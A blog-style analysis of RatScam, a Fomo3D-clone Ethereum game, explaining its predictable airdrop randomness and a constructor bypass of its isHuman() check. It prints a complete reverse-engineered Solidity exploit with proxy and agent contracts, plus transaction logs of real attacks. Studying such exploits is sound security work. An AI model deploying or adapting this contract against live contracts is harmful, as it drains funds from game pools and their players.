Exploiting RatScam: Part 1

Zhongqiang Chen
17 min readNov 3, 2019

--

Overview of RatScam

RatScam is a game that takes the Fomo3D infrastructure and simplifies it a little bit. Unlike the Fomo3D game, the RatScam game has only one team so every player plays in the same field. The distribution of funds that come in through key buys places a heavier emphasis on dividend earnings for existing mice holders, with the pot coming second. The rest is dispersed among authorized rat deals and team mouse.

The smart contract for the RatScam game was deployed by the following transaction.

Transaction Hash: 0x2d6fc474fa9111a57270829fc73f72b5ca5f69fe3989e3f760a1aeae7146f34e
Status: Success
Block: 6005657 2856819 Block Confirmations
Timestamp: 469 days 6 hrs ago (Jul-21-2018 07:31:37 PM +UTC)
From: 0xc14f8469d4bb31c8e69fae9c16e262f45edc3635
To: [Contract 0x8a883a20940870dc055f2070ac8ec847ed2d9918 Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.018295972 Ether ($3.38)
Gas Limit: 4,600,000
Gas Used by Transaction: 4,573,993 (99.43%)
Gas Price: 0.000000004 Ether (4 Gwei)
Nonce Position 15 18
Input Data: (omitted)

The game was deployed by 0xc14f on Jul-21–2018 07:31:37 PM +UTC. The address of the smart contract for the game is 0x8a88.

The source code of the RatScam game was published by its creators on the etherscan.io, so everyone can review it.

By comparing the source code of the RatScam with that of the Fomo3D game, we can see that RatScam is essentially a copycat of Fomo3D. It not only copies the core functionalities of the Fomo3D game, but also inherits all the vulnerabilities that Fomo3D game has. The vulnerabilities are mainly:

a. The sources of randomness, which are used to determine the winners of the game and the amount of prizes for winners, are predictable and can be accessed in advance by attackers.

b. The game rejects those players that are smart contracts. However, the mechanism for differentiating human players from smart contract players is not perfect and therefore is susceptible to attacks.

Let us look at a snippet of the source code for the RatScam game (for complete source code, please go to etherscan.io).

contract RatScam is modularRatScam {
using SafeMath for *;
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop

/**
* @dev prevents contracts from interacting with ratscam
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "non smart contract address only");
_;
}

/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}

/**
* @dev converts all incoming ethereum to keys.
* -functionhash- 0x8f38f309 (using ID for affiliate)
* -functionhash- 0x98a0871d (using address for affiliate)
* -functionhash- 0xa65b37a1 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
*/
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
RSdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID) {
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// buy core
buyCore(_pID, _affCode, _eventData_);
}

/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, RSdatasets.EventReturns memory _eventData_)
private
{
// grab time
uint256 _now = now;
// if round is active
if (_now > round_.strt + rndGap_ && (_now <= round_.end || (_now > round_.end && round_.plyr == 0))) {
// call core
core(_pID, msg.value, _affID, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_.end && round_.ended == false) {
// end the round (distributes pot) & start new round
round_.ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit RSEvents.onBuyAndDistribute(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
}

The sources of randomness are mainly used in the function airdrop(). This function will generate a random number in the range [0, 999] and uses this random number to determine whether or not the player wins the airdrop.

It can be seen from the code of the function airdrop() that the random number is generated based on the information about the current block and the address of the player. The information on the current block includes creation time (i.e., timestamp), difficulty, coin base, gas limit, and block number.

After generating the random number, the function compares it with the variable “airDropTracker_” and decides that the player will win the airdrop if the random number is smaller than “airDropTracker_”. The variable “airDropTracker_” records the number of “qualified” transactions that are legitimate to be candidates for the airdrop.

It is clear that these sources of randomness will be known to the player if the transaction submitted by the player is able to access the information on the block it is included. This can be easily achieved if the transaction is sent out by a smart contract as in a smart contract, it is trivial to access all the information related to the current block.

The RatScam provides several functions for players to interact with the game. One of them is the function buyXid(), which allows a player to buy a key through an affiliate code.

However, all of these functions provided by the RatScam to the players are guarded with some conditions, and one of such conditions is controlled by the modifier (a kind of special function) called isHuman() as demonstrated by the function buyXid() shown above.

From the source code of the function buyXid(), it can be seen that multiple conditions must be satisfied before the function proceeds and these conditions are enforced by modifiers isActivated(), isHuman(), and isWithinLimits().

Among these modifiers, isHuman() is used to ensure that the player is an externally owned account (i.e., EOA) instead of a smart contract. What this modifier does is to check the size of the code stored in the account of the player and requires that the code size should be 0.

Without any doubt, all EOAs have no code and therefore their code size is all 0. Thus, all EOAs satisfy the condition checked by modifier isHuman(). In general, all created smart contracts fail this condition because the code size of a smart contract could not be 0. However, there is a special case for smart contracts. When a smart contract is created, its constructor is first executed and the code of the smart contract is copied into the storage and thus the state of the blockchain is changed only after the execution of its constructor is completed.

In other words, the code size of a smart contract is also 0 during the execution of its constructor. Therefore, within the constructor of a smart contract, it is also considered by the modifier isHuman() to be “human” because it satisfies the condition that code size is 0.

These vulnerabilities can be exploited by attackers to steal Ethers from RatScam game by playing the game via a smart contract, which, in its constructor, “predicts” the random number used by the game and only plays the game if it can win.

Similar to the Fomo3D game, the RatScam game also attracts many attackers to drain its funds by exploiting these vulnerabilities.

In this article, I will introduce some of such exploits.

Exploit 1: Contract 0x5483

The smart contract for exploiting RatScam was deployed by the following transaction.

Transaction Hash: 0xe33656f949e17b5842993f42ef052a3b6c7911cfd72a1ec86339f70f007bf19d
Status: Success
Block: 6035747 2825777 Block Confirmations
Timestamp: 464 days 10 mins ago (Jul-26-2018 10:18:58 PM +UTC)
From: 0x820d115b9c982260edaa1741812d1f85132736b5
To: [Contract 0x54833d94b55202f2cbba52c3a002131e76fef30b Created]
Value: 0 Ether ($0.00)
Transaction Fee: 0.00115979892957 Ether ($0.21)
Gas Limit: 2,000,000
Gas Used by Transaction: 957,720 (47.89%)
Gas Price: 0.00000000121100001 Ether (1.21100001 Gwei)
Nonce Position 180 4
Input Data: (omitted)

The smart contract was created by 0x820d on Jul-26–2018 10:18:58 PM +UTC. Thus, let us name this exploiter as 0x820d. It is only 5 days after the deployment of the RatScam game, which was deployed on Jul-21–2018 07:31:37 PM +UTC.

The address of the smart contract is 0x5483, so, I will name this smart contract as contract_5483.

The source code of the smart contract contract_5483 is not published by its creator. We resort to reverse engineering methods to recover the source code and present it below.

pragma solidity ^0.5.1;contract contract_5483 {
uint8 constant STRING_SHORT_START = 0x80;
uint8 constant LIST_SHORT_START = 0xc0;
// slot 0x00
bool firstHalf;
// slot 0x01
// getter selector: 0x8aa19122
address [] public proxyAddrs;
// slot 0x02
// getter selector: 0xa5008247
mapping (address => uint256) public proxyNonces;
// slot 0x03
// getter selector: 0x7e1aa7a7
mapping (address => uint256) public proxyHashes;

constructor () public {
firstHalf = true;
}

// function selector: 0x2e1a7d4d
// code entrance: 0x0079
function withdraw(uint256 _val) public {
checkOwners();
checkGasLimit();
if (_val > 0x00) {
bool success = msg.sender.send(_val);
if (!success) {
revert();
}
}
}

// function selector: 0x7a637186
// note: function digest does not match
// code entrance: 0x0093
function createProxies(uint256 _numProxies) public {
checkOwners();
for (uint256 idx = 0; idx < _numProxies; idx++) {
address proxy = address(new proxy());
require(proxy != addres(0)); proxyAddrs.push(proxy);
proxyNonces[proxy] = 0x01;
proxyHashes[proxy] = uint256(keccak256(abi.encodePacked(
computeHash(proxy, 0x01))));
}
}

// function selector: 0xc52ab778
// code entrance: 0x0133
function execute(address _addr, uint256 _affCode, uint256 _pot)
public payable returns (bool) {
checkOwners();
checkGasLimit();
uint256 oldBalance = (tx.origin).balance; // function airDropPot_ selector: 0xd87574e0
(bool success, bytes memory data) = _addr.call(
abi.encodeWithSelector(0xd87574e0));
require (success == true);
require (data.length >= 0x20);
uint256 pot = abi.decode(data, (uint256)); require(pot > _pot); // function airDropTracker_ selector: 0x11a09ae7
(success, data) = _addr.call(
abi.encodeWithSelector(0x11a09ae7));
require (success == true);
require(data.length >= 0x20);
uint256 tracker = abi.decode(data, (uint256));
uint256 firstEnd = getFirstEnd(proxyAddrs.length, 1000);
// assert(block.timestamp != 0); uint256 param = block.timestamp +
block.difficulty +
(uint256(keccak256(abi.encodePacked(block.coinbase))) /
block.timestamp) +
block.gaslimit +
block.number;
if (firstHalf || (proxyAddrs.length <= 1000)) {
// use first half of proxies
firstHalf = false;
address addr = _addr;
uint256 affCode = _affCode;
for (uint256 idx = 0x00; idx < firstEnd; idx++) {
// assert (idx < proxyAddrs.length);
// assert (block.timestamp != 0);
uint256 seed = uint256(keccak256(abi.encodePacked(
param +
(uint256(proxyHashes[proxyAddrs[idx]]) /
block.timestamp)
)));
uint256 airdrop = (seed - ((seed / 1000) * 1000));
if (airdrop < (tracker + 0x01)) {
uint256 _count;
if ((airdrop > 0x00) || (pot < 0.55 ether)) {
_count = 0x00;
}
else {
_count = 0x01;
}
proxyNonces[proxyAddrs[idx]] += 0x01;
proxyHashes[proxyAddrs[idx]] =
uint256(keccak256(
abi.encodePacked(uint160(
computeHash(proxyAddrs[idx],
proxyNonces[proxyAddrs[idx]])))));
// 0xc52ab778 execute(address,uint256,uint256)
(bool success,) =
proxyAddrs[idx].call.value(msg.value)(
abi.encodeWithSelector(0xc52ab778,
addr, affCode, _count
));
require (success == true);
require(oldBalance < tx.origin.balance);
return true;
}
}
return false;
}
// use second half of proxies firstHalf = true;
address addr =_addr;
uint256 affCode = _affCode;
for (uint256 idx = firstEnd; idx < proxyAddrs.length;
idx++) {
// assert(idx < proxyAddrs.length);
// assert (block.timestamp != 0);
uint256 seed = uint256(keccak256(abi.encodePacked(
param +
(uint256(proxyHashes[proxyAddrs[idx]]) /
block.timestamp)
)));
uint256 airdrop = (seed - ((seed / 1000) * 1000));
if (airdrop < (0x01 + tracker)) {
uint256 _count;
if ((airdrop > 0x00) || (pot < 0.55 ether)) {
_count = 0x00;
}
else {
_count = 0x01;
}
proxyNonces[proxyAddrs[idx]] += 0x01;
proxyHashes[proxyAddrs[idx]] = uint256(keccak256(
abi.encodePacked(uint160(
computeHash(proxyAddrs[idx],
proxyNonces[proxyAddrs[idx]])))));
// 0xc52ab778 execute(address,uint256,uint256)
(bool success,) =
proxyAddrs[idx].call.value(msg.value)(
abi.encodeWithSelector(0xc52ab778,
addr, affCode, _count
));
require (success == true);
require(oldBalance < tx.origin.balance);
return true;
}
}
return false;
}

// function selector: 0xe35a34a8
// note: function digest does not match
// code entrance: 0x014d
function execute0(address _addr, uint256 _affCode,
uint256 _count) public payable {
assert (proxyAddrs.length > 0);
proxyNonces[proxyAddrs[0]] += 1;
proxyHashes[proxyAddrs[0]] = uint256(keccak256(
abi.encodePacked(
computeHash(proxyAddrs[0],
proxyNonces[proxyAddrs[0]]))));
// function execute(address,uint256,uint256): 0xc52ab778
(bool success,) = proxyAddrs[0].call.value(msg.value)(
abi.encodeWithSelector(0xc52ab778,
_addr, _affCode, _count));
require (success == true);
}

// function selector: 0xfdbb43b4
// note: function digest does not match
// code entrance: 0x0167
function getNumOfProxies() public view returns (uint256) {
return proxyAddrs.length;
}

// internal functions

// code entrance: 0866
function checkOwners() private {
if ((tx.origin != 0x73B61a56Cb93c17a1F5fB21C01cFe0FB23F132c3) &&
(tx.origin != 0xae587866822dcEd0c4b5A0b534eC025b52C4acD0) &&
(tx.origin != 0x16E21B702EA2ee0F4dC40E877099C88acD3D27D5) &&
(tx.origin != 0x5167350D082C9EC48ED6fd4C694dEa7361269705) &&
(tx.origin != 0x820D115B9c982260EDAA1741812D1F85132736B5)) {
revert();
}
}

// code entrance: 08f4
function checkGasLimit() private {
// 0x989680 = 10000000
require(block.gaslimit < 10000000);
}

// code entrance: 0903
function computeHash(address addr, uint256 _nonce) private
returns (uint256) {
uint8 num1;
uint8 num2;
if ((0x00 < _nonce) && (_nonce < 0x80)) {
num1 = 0x01;
num2 = 0x01;
}
else {
uint256 len = 0x01;
num1 = 0x00;
while (len <= _nonce) {
num1++;
len *= 0x0100;
}
num2 = num1 + 0x01;
}
uint8 totalLen = LIST_SHORT_START + (0x15 + num2);
uint256 data = (0x94 << 240) +
((1 << 248) * totalLen) +
((1 << 80) * uint160(_addr));
if ((0x00 < _nonce) && (_nonce < 0x80)) {
data += ((1 << 72) * _nonce);
}
else {
data += ((1 << 72) * (STRING_SHORT_START + num1)) +
(_nonce * (0x0100 ** (0x09 - num1)));
}
uint256 hash;
uint256 len = 0x16 + num2;
assembly {
hash := keccak256(data, len)
}
return hash;
}

// code entrance: 0x0a15
function getFirstEnd(uint256 len, uint256 limit) private
returns (uint256) {
uint256 len1;
if (len < limit) {
len1 = len;
}
else {
len1 = limit;
}
return len1;
}
}

contract proxy {
constructor () public {
}

// function selector: 0xc52ab778
// code entrance: 0x0042
function execute(address _addr, uint256 _affCode,
uint256 _count) public payable {
if ((tx.origin != 0x73B61a56Cb93c17a1F5fB21C01cFe0FB23F132c3) &&
(tx.origin != 0xae587866822dcEd0c4b5A0b534eC025b52C4acD0) &&
(tx.origin != 0x16E21B702EA2ee0F4dC40E877099C88acD3D27D5) &&
(tx.origin != 0x5167350D082C9EC48ED6fd4C694dEa7361269705) &&
(tx.origin != 0x820D115B9c982260EDAA1741812D1F85132736B5)) {
revert();
}
(new agent).value(msg.value)(_addr, _affCode, _count);
}
}

contract agent {
constructor (address _addr, uint256 _affCode, uint256 _count)
public payable {
for (uint256 idx = 0; idx < (1 + _count); idx++) {
// function buyXid() selector: 0x8f38f309
_addr.call.value(msg.value)(
abi.encodeWithSelector(0x8f38f309, _affCode, 1));
// function withdraw() selector: 0x3ccfd60b
_addr.call(abi.encodeWithSelector(0x3ccfd60b));
}
selfdestruct(tx.origin);
}
}

The main idea used by this exploit is: it first creates a bank of smart contracts called proxies, then check these proxies one by one to see which one can win the airdrop. If such a proxy that could win the game is found, this proxy will further create a new smart contract called agent and launch the attack within the constructor of the agent.

As pointed out before, the random number used by the RatScam game is in range [0, 999]. If the size of the proxy bank is 1000, then it is almost certain that there is always a proxy that could win the game.

Therefore, the creator of the smart contract contract_5483 plans to create 1000 proxies. Not only that, the creator in fact creates more than 1000 proxies and divides them into two groups: the first group includes the first 1000 proxies while the second group includes the remaining proxies. When launching attacks, proxies from these two groups are utilized alternatively.

The function createProxies() in the contract_5483 is used to create proxy smart contracts and put them into the proxy pool called “proxyAddrs”. The function takes a single argument, which specifies the number of proxies to be created. The newly created proxy will be appended into the tail of the proxy pool.

The function used to launch an attack is execute(), which has the selector 0xc52ab778. The function takes 3 arguments: the address of the target to attack, the affiliate code, and the minimum amount of airdrop pot. Because the address of the target to attack is a parameter to the function, this smart contract is not designed to only attack RatScam. In fact, it can be used to attack Fomo3D and any of its copycats including RatScam.

The function first interacts with the target smart contract to get the value of “airDropPot_” and checks whether or not it is larger than the given minimum amount of pot. The function proceeds only if the comparison is positive.

The function then fetches from the target the value of “airDropTracker_”, which will be used to determine whether or not the airdrop can be won.

Next, the function traverses the bank of proxies (either the first group or the second group) to check if the proxy can win the game. In order to determine whether or a proxy can win the airdrop, the function implements exactly the same logic as the function airdrop() in the RatScam game. To help facilitate the logic, the function actually stores the current nonce and hash for each proxy in variables “proxyNonces” and “proxyHashes” respectively.

Once such a proxy that can win the game is found, the function invokes the execute() function of the proxy, which creates a new smart contract by using contract agent as the template to launch the attack.

In the constructor of the contract agent, three steps are performed. In the first step, the function buyXid() of the target smart contract is called to buy a key and the amount of buy is specified by the msg.value, which is provided by the proxy. In the second step, the function withdraw() of the target smart contract is invoked to withdraw the prizes won so far. In the third step, the contract destructs itself by calling “selfdestruct()” and transfers all its money to the original sender of the transaction.

All these functions can be invoked only by the 5 authorized accounts. Of course, the creator of the contract_5483, which is 0x820d, is one of them.

Exploit in actions

Before any attack can be launched, the attackers must build the bank of proxies. That is, the attackers must first create 1000 or more smart contracts by using contract proxy as the template and put them into the proxy pool.

Because creation of smart contract is quite expensive, and there is a limit on the maximum amount of gas limit a transaction can consume. For instance, the maximum amount of gas limit for a block is typically around 8 million units, implying that a transaction can not consume more than that amount, either.

In order to find the suitable number of proxies a transaction can create, the attackers use the “trial and correct” method.

The first try is the following transaction.

Transaction Hash: 0xdc5cd84b0b88cc9488dffcbca2c24a3582b7676a591927680da49e34e155089f
Status: Success
Block: 6035756 2826106 Block Confirmations
Timestamp: 464 days 1 hr ago (Jul-26-2018 10:20:42 PM +UTC)
From: 0x820d115b9c982260edaa1741812d1f85132736b5
To: Contract 0x54833d94b55202f2cbba52c3a002131e76fef30b
Value: 0 Ether ($0.00)
Transaction Fee: 0.00031998253264 Ether ($0.06)
Gas Limit: 4,750,000
Gas Used by Transaction: 264,230 (5.56%)
Gas Price: 0.00000000121100001 Ether (1.21100001 Gwei)
Nonce Position 181 86
Input Data:
0x7a6371860000000000000000000000000000000000000000000000000000000000000001

The sender of this transaction is 0x820d, the account who created the contract_5483.

This transaction invokes the function createProxies() (with selector 0x7a637186) of the contract_5483 to create 1 proxy. The gas used by the transaction is 264,230. The gas limit given by the transaction is 4,750,000. Assuming that the gas consumption is linear, then under the given gas limit, about 17 proxies can be created.

The problem is: is the gas consumption by function createProxies() is really linear?

To answer is question, the next transaction is sent out.

Transaction Hash:
0xac8c025dbbcea81c567966cddf40bed46db0077aca77669aceef4d6f4dffb6eb
Status: Success
Block: 6035771 2826097 Block Confirmations
Timestamp: 464 days 1 hr ago (Jul-26-2018 10:24:23 PM +UTC)
From: 0x820d115b9c982260edaa1741812d1f85132736b5
To: Contract 0x54833d94b55202f2cbba52c3a002131e76fef30b
Value: 0 Ether ($0.00)
Transaction Fee: 0.00213176057367 Ether ($0.39)
Gas Limit: 4,750,000
Gas Used by Transaction: 2,067,663 (43.53%)
Gas Price: 0.00000000103100001 Ether (1.03100001 Gwei)
Nonce Position 184 23
Input Data: 0x7a6371860000000000000000000000000000000000000000000000000000000000000009

In this transaction, the same function createProxies() is invoked to create 9 proxies. The gas limit is still the same. This time, the gas used by the transaction is 2,067,663, and the average gas consumption per proxy creation is about 229741 units. Clearly, it is very close to the amount of gas consumed by the previous transaction, which is 264,230. In fact, it is more efficient to create more proxies than a single proxy.

Therefore, the gas consumption by the function createProxies() can be considered to be linear or even better than linear.

As a result, the attackers conclude that the best number of proxies to be created in a transaction under the gas limit 4,750,000 is 20 (i.e., 0x14). From then on, the number of proxies is always set to 20 when the function createProxies() is called as the following transaction shows.

Transaction Hash:
0x9c58059f1036cf1155c25780fed070b61c5fc5c0ad4ebb93583c7d47f9ee1f3c
Status: Success
Block: 6035780 2827650 Block Confirmations
Timestamp: 464 days 7 hrs ago (Jul-26-2018 10:25:32 PM +UTC)
From: 0x820d115b9c982260edaa1741812d1f85132736b5
To: Contract 0x54833d94b55202f2cbba52c3a002131e76fef30b
Value: 0 Ether ($0.00)
Transaction Fee: 0.00470961629368 Ether ($0.87)
Gas Limit: 4,750,000
Gas Used by Transaction: 4,568,008 (96.17%)
Gas Price: 0.00000000103100001 Ether (1.03100001 Gwei)
Nonce Position 185 11
Input Data:
0x7a6371860000000000000000000000000000000000000000000000000000000000000014

In this transaction, 20 proxy smart contracts are created. The total gas used by the transaction is 4,568,008, which is 96.17% or the given gas limit. Clearly, 20 is the maximum number of proxies that can be created because the remaining gas 181992 units is not enough for another proxy creation.

After the creation of the proxy bank, real attacks can be launched.

One attack was launched by the following transaction.

Transaction Hash: 0x45046edea04320e13519f37460da397cc3ae5682da5782e0b0b8e448c1b537f3
Status: Success
Block: 6051396 2750008 Block Confirmations
Timestamp: 451 days 17 hrs ago (Jul-29-2018 01:08:15 PM +UTC)
From: 0x73b61a56cb93c17a1f5fb21c01cfe0fb23f132c3
To: Contract 0x54833d94b55202f2cbba52c3a002131e76fef30b
TRANSFER 0.1 Ether From 0x54833d94b55202f2cbba52c3a002131e76fef30b To 0x9568f974011bcb7cf03aa5bfa46226317abf387d
TRANSFER 0.1 Ether From 0x9568f974011bcb7cf03aa5bfa46226317abf387d To 0x278448898f4b59e9f8dae35609bd773900790752
TRANSFER 0.1 Ether From 0x278448898f4b59e9f8dae35609bd773900790752 To 0x8a883a20940870dc055f2070ac8ec847ed2d9918
TRANSFER 0.015 Ether From 0x8a883a20940870dc055f2070ac8ec847ed2d9918 To 0x5edbe4c6275be3b42a02fd77674d0a6e490e9aa0
TRANSFER 0.015 Ether From 0x5edbe4c6275be3b42a02fd77674d0a6e490e9aa0 To 0x474a9cd7b9030b02e07ca31807dbbb22625262c5
TRANSFER 0.100034112616926622 Ether From 0x8a883a20940870dc055f2070ac8ec847ed2d9918 To 0x278448898f4b59e9f8dae35609bd773900790752
TRANSFER 0.100034112616926622 Ether From 0x278448898f4b59e9f8dae35609bd773900790752 To 0x73b61a56cb93c17a1f5fb21c01cfe0fb23f132c3
SELF DESTRUCT Contract 0x278448898f4b59e9f8dae35609bd773900790752Value: 0.1 Ether ($16.03)
Transaction Fee: 0.0028661661 Ether ($0.46)
Gas Limit: 2,250,000
Gas Used by Transaction: 454,947 (20.22%)
Gas Price: 0.0000000063 Ether (6.3 Gwei)
Nonce Position 5776 25
Input Data: Function: execute(address seller, uint256 quantity, uint256 price) ***
MethodID: 0xc52ab778
[0]: 0000000000000000000000008a883a20940870dc055f2070ac8ec847ed2d9918
[1]: 0000000000000000000000000000000000000000000000000000000000000000
[2]: 000000000000000000000000000000000000000000000000058d15e176280000

Please note that the sender of this transaction is 0x73b6, which is not the one who created the proxy bank. By checking the source code given above, we can see that similar to 0x820d, account 0x73b6 is also one of the 5 accounts that are allowed to use the contract_5483.

This transaction invokes the function execute() of the contract_5483 to launch an attack. The target of the attack is 0x8a88, which is exactly the address of the smart contract for the RatScam game. The affiliate code is 0, and the minimum amount of pot is 0.4 Ethers (i.e., 0x58d15e176280000).

The money carried by this transaction is 0.1 Ethers, which is also the amount of money transferred to the chosen proxy. The chosen proxy by this transaction which could win the game is 0x9568.

To actually launching the attack, proxy 0x9568 further creates an agent smart contract 0x2784 and transfers the money to the agent.

The agent calls the function buyXid() in the RatScam (i.e., 0x8a88) to buy a key that costs 0.1 Ethers. After that, the agent calls the function withdraw() in the RatScam to collect the prizes, which is 0.100034112616926622 Ethers.

The above processing steps become clearer by looking at the internal transactions generated by this transaction.

The contract call From 0x73b61a56cb93c17a1f5fb21c01cfe0fb23f132c3 To 0x54833d94b55202f2cbba52c3a002131e76fef30b produced 7 contract Internal Transactions :Type Trace Address      From            To      Value   Gas Limitcall_2  0x54833d94b55202f2cbba52c3a002131e76fef30b               0x9568f974011bcb7cf03aa5bfa46226317abf387d     0.1 Ether       2,091,797create_2_0     0x9568f974011bcb7cf03aa5bfa46226317abf387d                0x278448898f4b59e9f8dae35609bd773900790752    0.1 Ether       2,027,276call_2_0_0   0x278448898f4b59e9f8dae35609bd773900790752               0x8a883a20940870dc055f2070ac8ec847ed2d9918     0.1 Ether       1,988,004call_2_0_0_3        0x8a883a20940870dc055f2070ac8ec847ed2d9918               0x5edbe4c6275be3b42a02fd77674d0a6e490e9aa0     0.015 Ether     1,705,498call_2_0_0_3_0     0x5edbe4c6275be3b42a02fd77674d0a6e490e9aa0               0x474a9cd7b9030b02e07ca31807dbbb22625262c5     0.015 Ether     1,670,013call_2_0_1_0        0x8a883a20940870dc055f2070ac8ec847ed2d9918               0x278448898f4b59e9f8dae35609bd773900790752     0.100034112616926622 Ether      2,300suicide_2_0_2        0x278448898f4b59e9f8dae35609bd773900790752              0x73b61a56cb93c17a1f5fb21c01cfe0fb23f132c3      0.100034112616926622 Ether      0

In internal transaction “call_2”, the proxy 0x9568 is chosen and 0.1 Ethers is transferred to it from contract_5483.

In “create_2_0” internal transaction, the agent 0x2784 is created, and it transfers 0.1 Ethers to RatScam 0x8a88.

The internal transactions “call_2_0_0_3” and “call_2_0_0_3_0” are generated by RatScam among its own accounts.

The internal transaction “call_2_0_1_0” is used to transfer airdrop prizes to the agent.

The internal transaction “suicide_2_0_2” is created when the agent kills itself. Within this transaction, all money in the agent is transferred to the caller 0x73b6.

Here is another attack.

Transaction Hash: 0xb7bae1733f4300649329cd6c72dc4edb27b424505df445e2ad7534574fb706c8
Status: Success
Block: 6042330 2759145 Block Confirmations
Timestamp: 453 days 5 hrs ago (Jul-28-2018 12:52:28 AM +UTC)
From: 0x73b61a56cb93c17a1f5fb21c01cfe0fb23f132c3
To: Contract 0x54833d94b55202f2cbba52c3a002131e76fef30b
TRANSFER 0.1 Ether From 0x54833d94b55202f2cbba52c3a002131e76fef30b To 0x5aaccad9dd7c376f6ca5d118de7de2a491f1f764
TRANSFER 0.1 Ether From 0x5aaccad9dd7c376f6ca5d118de7de2a491f1f764 To 0xe851026ee661cef94460ffc4446631fffde5f213
TRANSFER 0.1 Ether From 0xe851026ee661cef94460ffc4446631fffde5f213 To 0x8a883a20940870dc055f2070ac8ec847ed2d9918
TRANSFER 0.015 Ether From 0x8a883a20940870dc055f2070ac8ec847ed2d9918 To 0x5edbe4c6275be3b42a02fd77674d0a6e490e9aa0
TRANSFER 0.015 Ether From 0x5edbe4c6275be3b42a02fd77674d0a6e490e9aa0 To 0x474a9cd7b9030b02e07ca31807dbbb22625262c5
TRANSFER 0.106928418265308463 Ether From 0x8a883a20940870dc055f2070ac8ec847ed2d9918 To 0xe851026ee661cef94460ffc4446631fffde5f213
TRANSFER 0.106928418265308463 Ether From 0xe851026ee661cef94460ffc4446631fffde5f213 To 0x73b61a56cb93c17a1f5fb21c01cfe0fb23f132c3
SELF DESTRUCT Contract 0xe851026ee661cef94460ffc4446631fffde5f213Value: 0.1 Ether ($16.01)
Transaction Fee: 0.0042577479 Ether ($0.68)
Gas Limit: 2,250,000
Gas Used by Transaction: 675,833 (30.04%)
Gas Price: 0.0000000063 Ether (6.3 Gwei)
Nonce Position 5764 28
Input Data:
Function: execute(address seller, uint256 quantity, uint256 price) ***
MethodID: 0xc52ab778
[0]: 0000000000000000000000008a883a20940870dc055f2070ac8ec847ed2d9918
[1]: 0000000000000000000000000000000000000000000000000000000000000000
[2]: 000000000000000000000000000000000000000000000000058d15e176280000

Again, this attack is launched by 0x73b6. In this attack, the prize is 0.106928418265308463 Ethers.

Here is yet another attack launched by 0x73b6.

Transaction Hash: 0xcd37a20cd2973febf2fc090192720fd41dd977011930f93607fa3dc4d98d5923
Status: Success
Block: 6037628 2763866 Block Confirmations
Timestamp: 454 days 57 mins ago (Jul-27-2018 05:51:30 AM +UTC)
From: 0x73b61a56cb93c17a1f5fb21c01cfe0fb23f132c3
To: Contract 0x54833d94b55202f2cbba52c3a002131e76fef30b
TRANSFER 0.1 Ether From 0x54833d94b55202f2cbba52c3a002131e76fef30b To 0x719080eed66c65d95a805be3151798d8dc1d9505
TRANSFER 0.1 Ether From 0x719080eed66c65d95a805be3151798d8dc1d9505 To 0x743f91ed604f5ba6fed0fabd120cd2f8d398b028
TRANSFER 0.1 Ether From 0x743f91ed604f5ba6fed0fabd120cd2f8d398b028 To 0x8a883a20940870dc055f2070ac8ec847ed2d9918
TRANSFER 0.015 Ether From 0x8a883a20940870dc055f2070ac8ec847ed2d9918 To 0x5edbe4c6275be3b42a02fd77674d0a6e490e9aa0
TRANSFER 0.015 Ether From 0x5edbe4c6275be3b42a02fd77674d0a6e490e9aa0 To 0x474a9cd7b9030b02e07ca31807dbbb22625262c5
TRANSFER 0.113502655730100504 Ether From 0x8a883a20940870dc055f2070ac8ec847ed2d9918 To 0x743f91ed604f5ba6fed0fabd120cd2f8d398b028
TRANSFER 0.113502655730100504 Ether From 0x743f91ed604f5ba6fed0fabd120cd2f8d398b028 To 0x73b61a56cb93c17a1f5fb21c01cfe0fb23f132c3
SELF DESTRUCT Contract 0x743f91ed604f5ba6fed0fabd120cd2f8d398b028Value: 0.1 Ether ($15.95)
Transaction Fee: 0.0039160548 Ether ($0.62)
Gas Limit: 2,250,000
Gas Used by Transaction: 621,596 (27.63%)
Gas Price: 0.0000000063 Ether (6.3 Gwei)
Nonce Position 5751 99
Input Data:
Function: execute(address seller, uint256 quantity, uint256 price) ***
MethodID: 0xc52ab778
[0]: 0000000000000000000000008a883a20940870dc055f2070ac8ec847ed2d9918
[1]: 0000000000000000000000000000000000000000000000000000000000000000
[2]: 000000000000000000000000000000000000000000000000058d15e176280000

This time, the attacker earns 0.113502655730100504 Ethers.

Although the net profit by each attack is small, a large amount of money can be quickly accumulated by launching a massive attacks.

References

--

--